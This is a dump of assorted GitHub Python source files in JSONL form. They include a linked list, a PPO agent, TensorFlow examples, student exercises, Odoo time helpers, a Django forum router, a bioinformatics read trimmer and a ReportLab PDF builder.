val_of_node_to_del:\n\t\t\tprev = cur\n\t\t\tcur = cur.next \n\n\t\t# not at end / found node to del\n\t\tif cur:\n\t\t\tif not prev: # at head of list\n\t\t\t\tself.head = cur.next\n\t\t\t\tcur.next = None\n\t\t\t#elif not cur.next # at last node\n\t\t\t#\tprev.next = \n\t\t\telse: \n\t\t\t\ttmp = cur\n\t\t\t\tprev.next = cur.next\n\n\t\t\t\ttmp.next = None\n\n\tdef __eq__(self, other):\n\t\tlist(self) == list(other)\n\n\tdef __iter__(self):\n\t\tptr = self.head\n\n\t\twhile ptr:\n\t\t\tyield ptr.value\n\t\t\tptr = ptr.next\n\n\tdef __str__(self):\n\t\tret = ''\n\t\tptr = self.head\n\n\t\twhile ptr.next:\n\t\t\tret += str(ptr.value) + ' -> ' \n\t\t\tptr = ptr.next\n\n\t\tret += str(ptr.value)\n\n\t\treturn ret\n\ndef _generate_test_list():\n\t_list = LinkedList()\n\n\tfor i in range(1, 5):\n\t\t_list.insert(LinkedListNode(i))\n\n\treturn _list\n\ndef get_head_of_arbitrary_list():\n\treturn _generate_test_list().head\n\ndef get_arbitrary_linked_list():\n\treturn _generate_test_list()","repo_name":"dan55/challenges","sub_path":"data_structs/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42544614268","text":"from .base_agent import BaseAgent\nfrom common.augmentations import *\nfrom common.misc_util import adjust_lr\nimport torch\nimport torch.optim as optim\nimport numpy as np\n\nnumpy_aug_to_func = { \n 'cutout':random_cutout,\n 'cutout_color':random_cutout_color,\n 'crop':random_crop,\n 'no_aug': no_aug\n }\n\ntorch_aug_to_func = { \n 'gray':random_grayscale,\n 'flip':random_flip,\n 'rotate':random_rotation,\n 'random_conv':random_convolution,\n 'no_aug': no_aug\n }\n\n\nclass PPO(BaseAgent):\n def __init__(self,\n env,\n test_env,\n policy,\n logger,\n storage,\n device,\n n_checkpoints,\n n_steps=128,\n n_envs=8,\n epoch=3,\n mini_batch_per_epoch=8,\n mini_batch_size=32*8,\n gamma=0.99,\n lmbda=0.95,\n learning_rate=0.0005,\n grad_clip_norm=0.5,\n eps_clip=0.2,\n value_coef=0.5,\n entropy_coef=0.01,\n normalize_adv=True,\n normalize_rew=True,\n use_gae=True,\n numpy_augmentation='no_aug',\n pytorch_augmentation='no_aug',\n **kwargs):\n\n super(PPO, self).__init__(env, policy, logger, storage, device, n_checkpoints)\n\n self.n_steps = n_steps\n self.n_envs = n_envs\n self.epoch = epoch\n self.mini_batch_per_epoch = mini_batch_per_epoch\n self.mini_batch_size = mini_batch_size\n self.gamma = gamma\n self.lmbda = lmbda\n self.learning_rate = learning_rate\n self.optimizer = optim.Adam(self.policy.parameters(), lr=learning_rate, eps=1e-5)\n self.grad_clip_norm = grad_clip_norm\n self.eps_clip = eps_clip\n self.value_coef = value_coef\n self.entropy_coef = entropy_coef\n self.normalize_adv = normalize_adv\n self.normalize_rew = normalize_rew\n self.use_gae = use_gae\n self.test_env = test_env\n self.numpy_augmentation = numpy_aug_to_func[numpy_augmentation]\n self.pytorch_augmentation = torch_aug_to_func[pytorch_augmentation]\n self.test_limit = 0\n\n def predict(self, obs):\n with torch.no_grad():\n obs = torch.FloatTensor(obs).to(device=self.device)\n augmented_obs = self.pytorch_augmentation(obs)\n dist, value = self.policy(augmented_obs)\n act = dist.sample()\n log_prob_act = dist.log_prob(act)\n return act.cpu().numpy(), log_prob_act.cpu().numpy(), value.cpu().numpy()\n\n def optimize(self):\n pi_loss_list, value_loss_list, entropy_loss_list = [], [], []\n batch_size = self.n_steps * self.n_envs // self.mini_batch_per_epoch\n if batch_size < self.mini_batch_size:\n self.mini_batch_size = batch_size\n grad_accumulation_steps = batch_size / self.mini_batch_size\n grad_accumulation_cnt = 1\n\n self.policy.train()\n for e in range(self.epoch):\n generator = self.storage.fetch_train_generator(mini_batch_size=self.mini_batch_size)\n for sample in generator:\n obs_batch, act_batch, done_batch, \\\n old_log_prob_act_batch, old_value_batch, return_batch, adv_batch = sample\n augmented_obs = self.pytorch_augmentation(obs_batch.to(self.device))\n dist_batch, value_batch = self.policy(augmented_obs)\n\n # Clipped Surrogate Objective\n log_prob_act_batch = dist_batch.log_prob(act_batch)\n ratio = torch.exp(log_prob_act_batch - old_log_prob_act_batch)\n surr1 = ratio * adv_batch\n surr2 = torch.clamp(ratio, 1.0 - self.eps_clip, 1.0 + self.eps_clip) * adv_batch\n pi_loss = -torch.min(surr1, surr2).mean()\n\n # Clipped Bellman-Error\n clipped_value_batch = old_value_batch + (value_batch - old_value_batch).clamp(-self.eps_clip, self.eps_clip)\n v_surr1 = (value_batch - return_batch).pow(2)\n v_surr2 = (clipped_value_batch - return_batch).pow(2)\n value_loss = 0.5 * torch.max(v_surr1, v_surr2).mean()\n\n # Policy Entropy\n entropy_loss = dist_batch.entropy().mean()\n loss = pi_loss + self.value_coef * value_loss - self.entropy_coef * entropy_loss\n\n loss.backward()\n\n # Let model to handle the large batch-size with small gpu-memory\n if grad_accumulation_cnt % grad_accumulation_steps == 0:\n torch.nn.utils.clip_grad_norm_(self.policy.parameters(), self.grad_clip_norm)\n self.optimizer.step()\n self.optimizer.zero_grad()\n grad_accumulation_cnt += 1\n pi_loss_list.append(pi_loss.item())\n value_loss_list.append(value_loss.item())\n entropy_loss_list.append(entropy_loss.item())\n\n summary = {'Loss/pi': np.mean(pi_loss_list),\n 'Loss/v': np.mean(value_loss_list),\n 'Loss/entropy': np.mean(entropy_loss_list)}\n return summary\n\n def test(self):\n self.policy.eval()\n obs = self.test_env.reset()\n episode = 0\n normalized_total_rewards = []\n total_rewards = []\n with torch.no_grad():\n while True:\n act, _, _ = self.predict(obs)\n obs, rew, dones, infos = self.test_env.step(act)\n real_rew = [info['env_reward'] for info in infos]\n normalized_total_rewards.append(sum(rew))\n total_rewards.append(sum(real_rew))\n if sum(dones) > 0:\n episode += sum(dones)\n if episode >= 1000:\n break\n #TODO make it cleaner\n return sum(normalized_total_rewards)/episode, sum(total_rewards)/episode\n\n def train(self, num_timesteps):\n save_every = num_timesteps // self.num_checkpoints\n checkpoint_cnt = 0\n obs = self.env.reset()\n done = np.zeros(self.n_envs)\n\n while self.t < num_timesteps:\n # Run Policy\n self.policy.train()\n for _ in range(self.n_steps):\n obs = self.numpy_augmentation(obs)\n act, log_prob_act, value = self.predict(obs)\n next_obs, rew, done, info = self.env.step(act)\n self.storage.store(obs, act, rew, done, info, log_prob_act, value)\n obs = next_obs\n _, _, last_val = self.predict(obs)\n self.storage.store_last(obs, last_val)\n # Compute advantage estimates\n self.storage.compute_estimates(self.gamma, self.lmbda, self.use_gae, self.normalize_adv)\n \n # Optimize policy & valueq\n summary = self.optimize()\n # Log the training-procedure\n self.t += self.n_steps * self.n_envs\n rew_batch, done_batch = self.storage.fetch_log_data()\n self.logger.feed(rew_batch, done_batch)\n self.logger.write_summary(summary)\n if self.t > self.test_limit:\n normalized_mean_reward, test_mean_rewards = self.test()\n self.logger.write_test_summary(normalized_mean_reward)\n self.logger.dump(normalized_mean_reward, test_mean_rewards)\n self.test_limit += 1000000\n self.optimizer = adjust_lr(self.optimizer, self.learning_rate, self.t, num_timesteps)\n # Save the model\n if self.t > ((checkpoint_cnt+1) * save_every):\n torch.save({'state_dict': self.policy.state_dict()}, self.logger.logdir +\n '/model_' + str(self.t) + '.pth')\n checkpoint_cnt += 1\n self.env.close()\n","repo_name":"DavidBert/CLOP","sub_path":"RL/agents/ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":8034,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"15465037944","text":"import tensorflow as tf\nimport numpy as np\n\n'''\ntensorflow与numpy的很大区别是很多操作都是从第二维度开始操作,第一维度认为是batch_size\n'''\n\na = tf.constant(np.arange(8).reshape(1, 2, 2, 2))\nb = tf.constant(np.arange(12).reshape(1, 2, 2, 3))\n# b不参与运算,沿着bc拆开,得到每个i*j之间相乘,\ntf.linalg.einsum('bijc,bijd->bcd', a, b)\n\n#\na = tf.constant([1, 2, 3, 4, 5, 6], shape=[2, 3])\nb1 = tf.constant([7, 8, 9, 10, 11, 12], shape=[3, 2])\nb2 = tf.constant([7, 8, 9, 10, 11, 12], shape=[2, 3])\n# 逐个相乘 element wise\na * b2\ntf.multiply(a, b2)\n# 矩阵相乘\ntf.matmul(a, b1)\n\n# 删除1的维度\ntf.squeeze(b, axis=0)\n\n# 增加一个维度\ntf.expand_dims(a, axis=1)\n\n# 剪裁\ntf.clip_by_value(a, clip_value_min=0, clip_value_max=1)\n\n# 整数无法计算\ntf.nn.tanh([1., 2., 3., 4., 5.])\ntf.nn.softmax([[1., 2.], [2., 3.]])\n\ntf.reduce_sum([[1., 2.], [2., 3.]])\ntf.reduce_sum([[1., 2.], [2., 3.]], axis=1)\n\n# logical_not 取反\ntf.math.equal([0, 2, 0, 4, 0, 1], 0)\ntf.math.logical_not(tf.math.equal([0, 2, 0, 4, 0, 1], 0))\n\n# 多个序列相加\ntf.add_n([[2, 3, 4], [4, 5, 6], [3, 4, 5]])\n\n# 矩阵乘积 matmul transpose_b 后会将前面一样的维度合并,适用于batch_size等\ntf.constant([[[[1, 2, 3]]]]).shape\ntf.matmul([[[[1, 2, 3]]]], [[[[1, 2, 3]]]], transpose_b=True).shape\ntf.matmul(tf.random.uniform((2, 3, 4, 5)), tf.random.uniform((2, 3, 4, 5)), transpose_b=True).shape\n","repo_name":"ljldgup/ml","sub_path":"tf_keras/tf/test/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1623400844","text":"n = int(input())\n\npiece_composer = {}\npiece_key = {}\n\nfor _ in range(n):\n piece, composer, key = input().split(\"|\")\n piece_composer[piece] = composer\n piece_key[piece] = key\n\ncommand = input()\n\nwhile not command == \"Stop\":\n current_command = command.split(\"|\")\n to_do = current_command[0]\n if to_do == \"Add\":\n piece = current_command[1]\n composer = current_command[2]\n key = current_command[3]\n if piece in piece_composer:\n print(f\"{piece} is already in the collection!\")\n else:\n piece_composer[piece] = composer\n piece_key[piece] = key\n print(f\"{piece} by {composer} in {key} added to the collection!\")\n elif to_do == \"Remove\":\n piece = current_command[1]\n if piece in piece_composer:\n del piece_composer[piece]\n piece_key.pop(piece)\n print(f\"Successfully removed {piece}!\")\n else:\n print(f\"Invalid operation! {piece} does not exist in the collection.\")\n elif to_do == \"ChangeKey\":\n piece = current_command[1]\n new_key = current_command[2]\n if piece in piece_composer:\n piece_key[piece] = new_key\n print(f\"Changed the key of {piece} to {new_key}!\")\n else:\n print(f\"Invalid operation! {piece} does not exist in the collection.\")\n command = input()\n\npiece_composer = sorted(piece_composer.items(), key=lambda kvp: (kvp[0], kvp[1]))\nfor key, value in piece_composer:\n print(f\"{key} -> Composer: {value}, Key: {piece_key[key]}\")","repo_name":"Isotirov/softuni","sub_path":"python_fundamentals/regular_expressions_exercise/exam.py","file_name":"exam.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11991180012","text":"from dateutil import parser\nimport pytz\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT\nfrom datetime import datetime\n\ndef set_local_time(dt, tz, hour, minute, second):\n \"\"\"\n convert datetime string in utc to local time with hour, minute, second and return respective utc time\n dt - datetime string\n tz - timezone string (e.g. 'Asia/Yangon')\n \"\"\"\n obj = parser.parse(dt)\n # set naive datetime to utc. this isn't needed in python3.6. but server is python3.5\n obj = pytz.utc.localize(obj)\n obj = obj.astimezone(pytz.timezone(tz))\n obj = obj.replace(hour=hour, minute=minute, second=second)\n obj = obj.astimezone(pytz.utc)\n obj = datetime.strftime(obj, DEFAULT_SERVER_DATETIME_FORMAT)\n return obj\n\ndef local_time(dt, tz):\n \"\"\"\n convert utc time to tz time str\n dt - datetime object\n tz - timezone string (e.g. 'Asia/Yangon')\n \"\"\"\n # set naive datetime to utc. this isn't needed in python3.6. but server is python3.5\n datetime_obj = pytz.utc.localize(dt)\n local_tz = pytz.timezone(tz)\n local_datetime = datetime_obj.astimezone(local_tz)\n return datetime.strftime(local_datetime, DEFAULT_SERVER_DATETIME_FORMAT)\n","repo_name":"YeTun99/Odoo_16","sub_path":"odoo-training/gca_product_summary_report/models/odoo_datetime_helper.py","file_name":"odoo_datetime_helper.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31460079350","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 11 20:28:50 2020\n\n@author: blaubaer\n\"\"\"\n\nimport pandas as pd\n\nauswahl_datei = 'Covid19.csv'\n\ntrennzeichen=','\n\ndezimalzeichen='.'\n\nkopfz=0\n\ndf=pd.read_csv(auswahl_datei,sep=trennzeichen ,decimal=dezimalzeichen, header=kopfz)\n\ndf['date']=df['year'].astype(str) + '-' + df['month'].astype(str) + '-' + df['day'].astype(str)\n\ndf.to_csv(auswahl_datei, sep=';', decimal=',', header =True)","repo_name":"blaubaer01/csv-data-analyze","sub_path":"datechange.py","file_name":"datechange.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"70606705533","text":"def is_email(sign):\r\n if \".\" and \"@\" in sign:\r\n return True\r\n else:\r\n return False\r\n \r\nemail=str(input(\"enter your email \"))\r\nif is_email(email) == True:\r\n print(email + \"valid e-mail\")\r\nelse:\r\n print(email + \"not a valid e-mail\")\r\n ","repo_name":"hubbm-bbm101/lab5-exercise-solution-b2200329072","sub_path":"Y2200329072/Exercise2.py","file_name":"Exercise2.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41247041657","text":"\"\"\"\r\nThis script executes the EsmamDS algorithm over a data set\r\n\r\n.. this file should be run from EsmamDS/code/ folder\r\n\"\"\"\r\n\r\nimport argparse\r\nimport errno\r\nimport os\r\nimport pathlib\r\n\r\nfrom algorithm import EsmamDS\r\nfrom datetime import datetime\r\n\r\n# paths\r\nROOT = \"EsmamDS\"\r\nSAVE_PATH = str(pathlib.Path(__file__).parent.absolute()).split(ROOT)[0] + ROOT + '/EsmamDS_exe{}/'.format(datetime.now().strftime('%Y%m%d'))\r\n\r\n# default params\r\nPARAMS_POPULATION = {'alpha': 0.05,\r\n 'its_to_stagnation': 40,\r\n 'no_of_ants': 100,\r\n 'no_rules_converg': 5,\r\n 'min_size_subgroup': 0.1,\r\n 'logistic_offset': 5,\r\n 'weigh_score': 0.9}\r\nPARAMS_COMPLEMENT = {'alpha': 0.05,\r\n 'its_to_stagnation': 40,\r\n 'no_of_ants': 100,\r\n 'no_rules_converg': 5,\r\n 'min_size_subgroup': 0.05,\r\n 'logistic_offset': 10,\r\n 'weigh_score': 0.9}\r\n\r\n\r\ndef __set_params(args):\r\n\r\n if args.baseline == \"population\":\r\n config = PARAMS_POPULATION\r\n else:\r\n config = PARAMS_COMPLEMENT\r\n\r\n if args.a:\r\n config['alpha'] = args.a\r\n if args.maxStag:\r\n config['its_to_stagnation'] = args.maxStag\r\n if args.nAnts:\r\n config['no_of_ants'] = args.nAnts\r\n if args.nConverg:\r\n config['no_rules_converg'] = args.nConverg\r\n if args.minCov:\r\n config['min_size_subgroup'] = args.minCov\r\n if args.l:\r\n config['logistic_offset'] = args.l\r\n if args.w:\r\n config['weigh_score'] = args.w\r\n\r\n return config\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n parser = argparse.ArgumentParser(description='EsmamDS: Exceptional Survival Model Ant Miner - Diverse Search')\r\n parser.add_argument(\"--f\", type=str, required=True,\r\n help=\"Data set file path\")\r\n parser.add_argument(\"--dtypes\", type=str,\r\n help=\"Json dtypes file path \")\r\n parser.add_argument(\"--baseline\",\r\n choices=[\"population\", \"complement\"],\r\n type=str, default=\"population\",\r\n help=\"Baseline for subgroup comparison\")\r\n parser.add_argument(\"--a\", type=float,\r\n help=\"(Alpha) Level of significance\")\r\n parser.add_argument(\"--maxStag\", type=int,\r\n help=\"Maximum stagnation of the algorithm\")\r\n parser.add_argument(\"--nAnts\", type=int,\r\n help=\"Size of the ant colony\")\r\n parser.add_argument(\"--nConverg\", type=int,\r\n help=\"Number of similar patters for convergence\")\r\n parser.add_argument(\"--minCov\", type=float,\r\n help=\"Minimum subgroup coverage\")\r\n parser.add_argument(\"--l\", type=int,\r\n help=\"Logistic function offset (description attenuation)\")\r\n parser.add_argument(\"--w\", type=float,\r\n help=\"Weight parameter\")\r\n parser.add_argument(\"--seed\", type=int, default=0,\r\n help=\"Numpy random seed\")\r\n parser.add_argument(\"--log\", action='store_true',\r\n help=\"Saves (output) log file\")\r\n args = parser.parse_args()\r\n\r\n params = __set_params(args)\r\n \r\n # creates directory for saving results and logs\r\n if not os.path.exists(os.path.dirname(SAVE_PATH)):\r\n try:\r\n os.makedirs(os.path.dirname(SAVE_PATH))\r\n except OSError as exc: # Guard against race condition\r\n if exc.errno != errno.EEXIST:\r\n raise\r\n\r\n\r\n if args.baseline == \"population\":\r\n save_name = SAVE_PATH + 'EsmamDS-pop'\r\n else:\r\n save_name = SAVE_PATH + 'EsmamDS-cpm'\r\n\r\n alg = EsmamDS(sg_baseline=args.baseline, seed=args.seed, **params)\r\n alg.read_data(args.f, args.dtypes)\r\n alg.fit()\r\n alg.save_results(save_name)\r\n if args.log:\r\n alg.save_logs(save_name)\r\n","repo_name":"jbmattos/EsmamDS","sub_path":"code/esmamds.py","file_name":"esmamds.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42322640855","text":"import time\nimport threading\nfrom baibaoxiang import baibaoxiangInterface,excel,sys_powel\n\n\nex=excel.InputExcel()\ngo= baibaoxiangInterface.go()\nall_jieguo=[]\nclass a(threading.Thread):\n def __init__(self,url, data, header,name,user_sum):\n threading.Thread.__init__(self)\n self.url=url\n self.data = data\n self.header = header\n self.name = name\n self.user_sum=int(user_sum)\n\n\n def run(self):\n for i in range(self.user_sum):\n # iss=[]\n # run_time=time.time()\n name=str(self.name)+\"-\"+str(i)\n # print(self.name,\"-\",i,\"本次执行时间是:\",run_time)\n f=go.post(self.url,self.data,self.header,name)\n on_to_over_time=f.elapsed.total_seconds()\n print(name,\"发送请求到接收完数据的时间(总时长)\",on_to_over_time,\"秒,相当于\",on_to_over_time*1000,\"毫秒\")\n all_jieguo.append([name,self.url,str(self.data),f.status_code,str(f.json()),on_to_over_time])\n\n\n\n\n\nclass Bingfa_test:\n def bingfa_test_go(self,url,data,name,user_sum,*headler):\n t1=time.time()\n k1=a(url,data,headler,name,user_sum)\n k1.start()\n t2 = time.time()\n t3 = float(t2) - float(t1)\n print(\"发起\",user_sum,\"请求,共耗时:\", t3)\n # ex.end(excel_address,excel_name)\n\n\n\n","repo_name":"woshichenya/hezi","sub_path":"Pypi_go/baibaoxiang/xingneng.py","file_name":"xingneng.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"54291693","text":"from typing import List, TypeVar\n\nT = TypeVar(\"T\")\n\n\ndef intersection(a: List[T], b: List[T]) -> List[T]:\n \"\"\"\n Finds the intersection between 2 lists and returns a list with the values that occur in both\n\n Complexity Analysis:\n Time Complexity:\n This will depend on the sizes of each list. If both lists are identical in size, the Worst case scenario is\n O(N^2) where N is the size of each list, this is because we are comparing each value in the first list to\n each value in the second list. If they are not identical in size, then the complexity becomes O(N * M) where\n N is the size of the first list and M the size of the second list.\n Space Complexity:\n Again, this will depend on the sizes of each list, but it averages to O(N+M) where N is the size of the first\n list and M is the size of the second list\n\n :param a: first collection\n :param b: second collection\n :return: list of all values that intersect between the 2 collections\n\n >>> a1 = [3,1,4,2]\n >>> b1 = [4,5,3,6]\n >>> intersection(a1, b1)\n [3, 4]\n \"\"\"\n\n result = []\n\n for x in range(len(a)):\n for y in range(len(b)):\n if a[x] == b[y]:\n result.append(a[x])\n # adding break here ensures that we save on time and steps. if we have found a value that is identical\n # then there is no need to perform another iteration to check another value, We should proceed to the\n # next value\n break\n\n return result\n","repo_name":"BrianLusina/PythonSnips","sub_path":"algorithms/arrays/intersection/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"33775894912","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 10 08:22:23 2018\n\n@author: jlopes\n\nCode adapted from the book:\n\nBrad Miller and David Ranum, Learning with Python: Interactive Edition\n\"\"\"\n\n##### step 1\n\n#current_time = input(\"what is the current time (in hours)?\")\n#wait_time = input(\"How many hours do you want to wait\")\n#\n#print(current_time)\n#print(wait_time)\n\n##### step 2\n\n#final_time = current_time + wait_time\n#print(final_time)\n\n##### step 3\n\ncurrent_time_str = input(\"What is the current time (in hours 0-23)?\")\nwait_time_str = input(\"How many hours do you want to wait\")\n\ncurrent_time_int = int(current_time_str)\nwait_time_int = int(wait_time_str)\n\nfinal_time_int = current_time_int + wait_time_int\nprint(final_time_int)\n\n##### step 4\n\nfinal_answer = final_time_int % 24\n#\nprint(\"The time after waiting is: \", final_answer)\n\n##### testing\n# it is important to test your code on a range of inputs \n# It is especially important to test your code on boundary conditions (0, 23)\n","repo_name":"biam05/FPRO_MIEIC","sub_path":"lectures-master/06/alarm_clock.py","file_name":"alarm_clock.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11176551173","text":"from .camera import Camera\nfrom .visualizer import Visualize\nfrom .data_preprocessor import DataPreprocessor\n\n\nclass ImplementVO:\n \"\"\"\n A default implementation pipeline for VO\n \"\"\"\n\n def __init__(self, camera: object, data_processor: object, visualize: object):\n self.cam = Camera()\n self.data_preprocessor = DataPreprocessor()\n self.visualize = Visualize()\n\n def import_data(self, cam_model_dir: str, data_dir: str) -> None:\n \"\"\"\n Import camera model and data from the designated folder\n Args:\n cam_model_dir: str\n Path to the camera model dir\n data_dir: str\n Path to the image frames dir\n\n Returns:\n\n \"\"\"\n\n self.cam.read_camera_model(cam_model_dir)\n print('Camera Model Read Successfully...!')\n\n\nif __name__ == '__main__':\n msg = 'handler Module of Visual odometry package.'\n print(f'{msg}')\n","repo_name":"Sudharsan10/Visual-Odometry-pkg","sub_path":"visual_odometry_pkg/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6467205959","text":"from django.urls import path\n\nfrom .views import (\n AnswerDetailView,\n AnswerListView,\n AnswerUpvoteToggle,\n CommentDetailView,\n CommentListView,\n CommentUpvoteToggle,\n QuestionDetailView,\n QuestionListView,\n QuestionUpvoteToggle\n)\n\nurlpatterns = [\n path('questions//', QuestionDetailView.as_view()),\n path('questions/', QuestionListView.as_view(), name='question_list'),\n path('answers//', AnswerDetailView.as_view()),\n path('answers/', AnswerListView.as_view(), name='answer_list'),\n path('comments//', CommentDetailView.as_view()),\n path('comments/', CommentListView.as_view(), name='comment_list'),\n path('answers/upvote-toggle/', AnswerUpvoteToggle.as_view(),\n name='answer_upvote_toggle'),\n path('comments/upvote-toggle/', CommentUpvoteToggle.as_view(),\n name='comment_upvote_toggle'),\n path('questions/upvote-toggle/', QuestionUpvoteToggle.as_view(),\n name='question_upvote_toggle'),\n]\n","repo_name":"Surajgaire0/AgroRecon","sub_path":"forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4904474543","text":"#!/usr/bin/env python\n\nimport argparse, os, pysam, sys\nfrom itertools import izip\n\n# Parse arguments\nparser = argparse.ArgumentParser(description='This script adapter trims and outputs fastq files in the expected format of programs scaff10x and break10x.')\nparser.add_argument(\"-r1\", \"--out_read1\", metavar='STR', help=\"output fastq read 1 file name [read-BC_1.fastq]\", type=str, default='read-BC_1.fastq')\nparser.add_argument(\"-r2\", \"--out_read2\", metavar='STR', help=\"output fastq read 2 file name [read-BC_2.fastq]\", type=str, default='read-BC_2.fastq')\nparser.add_argument(\"-n\", \"--out_name\", metavar='STR', help=\"output name file name [read-BC_1.name]\", type=str, default='read-BC_1.name')\nparser.add_argument(\"-v\", \"--version\", action='version', version='%(prog)s 1.0')\nrequired = parser.add_argument_group('required arguments')\nrequired.add_argument(\"in_read1\", help=\"input fastq read 1 file name\", type=str)\nrequired.add_argument(\"in_read2\", help=\"input fastq read 2 file name\", type=str)\nargs = parser.parse_args()\n\nout_fq1 = open(args.out_read1,'w')\nout_name = open(args.out_name,'w')\nout_fq2 = open(args.out_read2,'w')\ncount = 0\n\nfor record1,record2 in izip(pysam.FastxFile(args.in_read1),pysam.FastxFile(args.in_read2)):\n out_fq1.write('@'+record1.name+'_'+record1.sequence[0:16]+'\\n'+record1.sequence[23:]+'\\n+\\n'+record1.quality[23:]+'\\n')\n out_fq2.write('@'+record2.name+'_'+record1.sequence[0:16]+'\\n'+record2.sequence+'\\n+\\n'+record2.quality+'\\n')\n out_name.write(str(count)+' '+record1.name+'_'+record1.sequence[0:16]+'\\n')\n count += 1\n\nout_fq1.close()\nout_name.close()\nout_fq2.close()\n","repo_name":"abmudd/Assembly","sub_path":"TrimReads/trim_10X.py","file_name":"trim_10X.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"28818614895","text":"from reportlab.lib.pagesizes import *#letter\nfrom reportlab.platypus import *#SimpleDocTemplate, Paragraph, Spacer, Image\nfrom reportlab.lib.styles import *#getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.enums import *#TA_JUSTIFY\nfrom reportlab.lib.units import *#inch\nimport time\nimport json\n\n# Then, throughout the rest of your code, replace `PDFCreator.setting_name` with `self.settings['setting_name']`.\n\nclass PDFCreator:\n def __init__(self, output_file, logo, full_name, address_parts, settings_file='settings.json'):\n self.output_file = output_file\n self.logo = logo\n self.full_name = full_name\n self.address_parts = address_parts\n self.story = []\n\n # Read the settings from the JSON file\n with open(settings_file) as file:\n self.settings = json.load(file)\n\n def create_document(self):\n self.add_image(1, 1)\n self.add_time()\n self.add_address(self.full_name, self.address_parts)\n self.add_greeting(self.full_name.split()[0].strip())\n self.add_subjective()\n self.add_objective()\n self.add_assesment()\n self.add_plan()\n self.add_salutation()\n self.build()\n\n def add_image(self, width, height):\n im = Image(self.logo, width * inch, height * inch)\n self.story.append(im)\n\n def add_time(self):\n styles = getSampleStyleSheet()\n ptext = '%s' % time.ctime()\n self.story.append(Paragraph(ptext, styles[\"Normal\"]))\n self.story.append(Spacer(1, 12))\n\n def add_address(self, full_name, address_parts):\n styles = getSampleStyleSheet()\n ptext = '%s' % full_name\n self.story.append(Paragraph(ptext, styles[\"Normal\"]))\n for part in address_parts:\n ptext = '%s' % part.strip()\n self.story.append(Paragraph(ptext, styles[\"Normal\"]))\n self.story.append(Spacer(1, 12))\n\n def add_greeting(self, name):\n styles = getSampleStyleSheet()\n ptext = 'Dear %s:' % name\n self.story.append(Paragraph(ptext, styles[\"Normal\"]))\n self.story.append(Spacer(1, 12))\n\n def add_subjective(self):\n styles = getSampleStyleSheet()\n\n # Create a new style for the title\n title_style = styles[\"Normal\"].clone('title_style')\n title_style.fontName = 'Helvetica-Bold'\n title_style.fontSize = 10\n\n # Add the title to the story\n title = 'SUBJECTIVE:'\n self.story.append(Paragraph(title, title_style))\n # self.story.append(Spacer(1, 0))\n\n # Create a new style for the indented and justified text\n text_style = styles[\"BodyText\"].clone('text_style')\n text_style.leftIndent = 9 # This is the indentation (change to the value you want)\n text_style.alignment = TA_JUSTIFY\n\n # Add the text to the story\n ptext = 'We would like to welcome you to our subscriber base for Pythonista Magazine! You will receive 12 issues at the excellent introductory price of $99.00. Please respond by 03/05/2010 to start receiving your subscription and get the following free gift: tin foil hat.'\n self.story.append(Paragraph(ptext, text_style))\n self.story.append(Spacer(1, 12))\n def add_objective(self):\n styles = getSampleStyleSheet()\n\n # Create a new style for the title\n title_style = styles[\"Normal\"].clone('title_style')\n title_style.fontName = 'Helvetica-Bold'\n title_style.fontSize = 10\n\n # Add the title to the story\n title = 'OBJECTIVE:'\n self.story.append(Paragraph(title, title_style))\n # self.story.append(Spacer(1, 0))\n\n # Create a new style for the indented and justified text\n text_style = styles[\"BodyText\"].clone('text_style')\n text_style.leftIndent = 9 # This is the indentation (change to the value you want)\n text_style.alignment = TA_JUSTIFY\n\n # Add the text to the story\n ptext = 'All good men new paragraph'\n self.story.append(Paragraph(ptext, text_style))\n self.story.append(Spacer(1, 12))\n def add_assesment(self):\n styles = getSampleStyleSheet()\n\n # Create a new style for the title\n title_style = styles[\"Normal\"].clone('title_style')\n title_style.fontName = 'Helvetica-Bold'\n title_style.fontSize = 10\n\n # Add the title to the story\n title = 'ASSESSMENT:'\n self.story.append(Paragraph(title, title_style))\n # self.story.append(Spacer(1, 0))\n\n # Create a new style for the indented and justified text\n text_style = styles[\"BodyText\"].clone('text_style')\n text_style.leftIndent = 9 